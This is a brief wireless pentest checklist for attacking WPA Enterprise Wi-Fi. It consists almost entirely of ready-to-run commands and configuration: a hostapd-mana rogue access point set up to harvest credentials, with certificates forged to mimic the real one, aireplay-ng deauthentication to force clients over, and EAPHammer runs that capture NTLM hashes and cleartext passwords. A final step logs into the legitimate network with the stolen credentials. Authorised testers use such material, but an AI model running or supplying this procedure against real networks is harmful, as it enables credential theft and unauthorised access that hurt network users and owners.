Wi-Fi WPA Enterprise Basic Wireless Pentest Checklist

• EAP-Buster will show what authentication methods the RADIUS server supports

./EAP_buster.sh "${EAP_ESSID}" "${EAP_IDENTITY}" "${WIFI_INTERFACE}"

hostapd-mana

https://github.com/sensepost/hostapd-mana

• Create a hostapd.conf file

configuration
# Interface configuration
interface=<interface>
ssid=<SSID>
channel=<channel>
auth_algs=3
wpa_key_mgmt=WPA-EAP
wpa_pairwise=TKIP CCMP
wpa=3
hw_mode=g
ieee8021x=1

# EAP Configuration
eap_server=1
eap_user_file=hostapd.eap_user

# Mana Configuration
enable_mana=1
mana_loud=1
mana_credout=credentials.creds
mana_eapsuccess=1
mana_wpe=1

# Certificate Configuration
ca_cert=ca.pem
server_cert=server.pem
private_key=server-key.pem
dh_file=dh.pem

• Create the hostapd.eap_user file

configuration
* TTLS,PEAP,TLS,MD5,GTC
"t" TTLS-PAP,GTC,TTLS-CHAP,TTLS-MSCHAP,TTLS-MSCHAPV2,MD5 "challenge1234" [2]

• Generate the keys cand certificates. For ca.pem closely match the legitimate access point

openssl dhparam -out dh.pem 2048
openssl genrsa -out ca-key.pem 2048
openssl req -new -x509 -nodes -days 100 -key ca-key.pem -out ca.pem
openssl req -newkey rsa:2048 -nodes -days 100 -keyout server-key.pem -out server-key.pem

• The information in the x509 certificate should match the details from the ca.pem
• The challenge password used should be the same as specified in the hostapd.eap_user file
• Generate the x509 certificate for the server:

openssl x509 -req -days 100 -set_serial 01 -in server-key.pem -out server.pem -CA ca.pem -CAKey ca-key.pem

• Start the rogue AP:

hostapd-mana hostapd.conf

• Run airodump

airodump-ng <interface> -c <channel>

• It may be necessary to do a deauthentication attack if clients don't switch to the network

sudo aireplay-ng -0 6 -a <BSSID MAC> -c <client MAC> <interface>

• If a connection happens, the client will accept EAP GTC which was defined in the hostapd.eap_user file. The username and password will be disclosed in the hostapd-mana tab or will be stored in credentials.creds

• Finally connect to the legit network using the captured credentials

Wi-Fi security = WPA & WPA2 Enterprise
Authentication = Protected EAP (PEAP)
No CA certificate is required = checked
PEAP version = Automatic
Inner authentication = MSCHAPv2
Username = Domain\username
Password = password

EAPHammer

https://github.com/s0lst1c3/eaphammer

• Create self signed certificates for the rogue AP

eaphammer --cert-wizard

• Start the rogue AP

eaphammer --interface <interface> --negotiate balanced --auth wpa-eap --essid <ESSID> --creds

• If clients don't connect to the network, perform a deauthentication attack

sudo aireplay-ng -0 6 -a <BSSID MAC> -c <client MAC> <interface>

• If successful the output will contain the NTLM hash after the first connection attempt, and then the cleartext password if a connection using GTC occurs.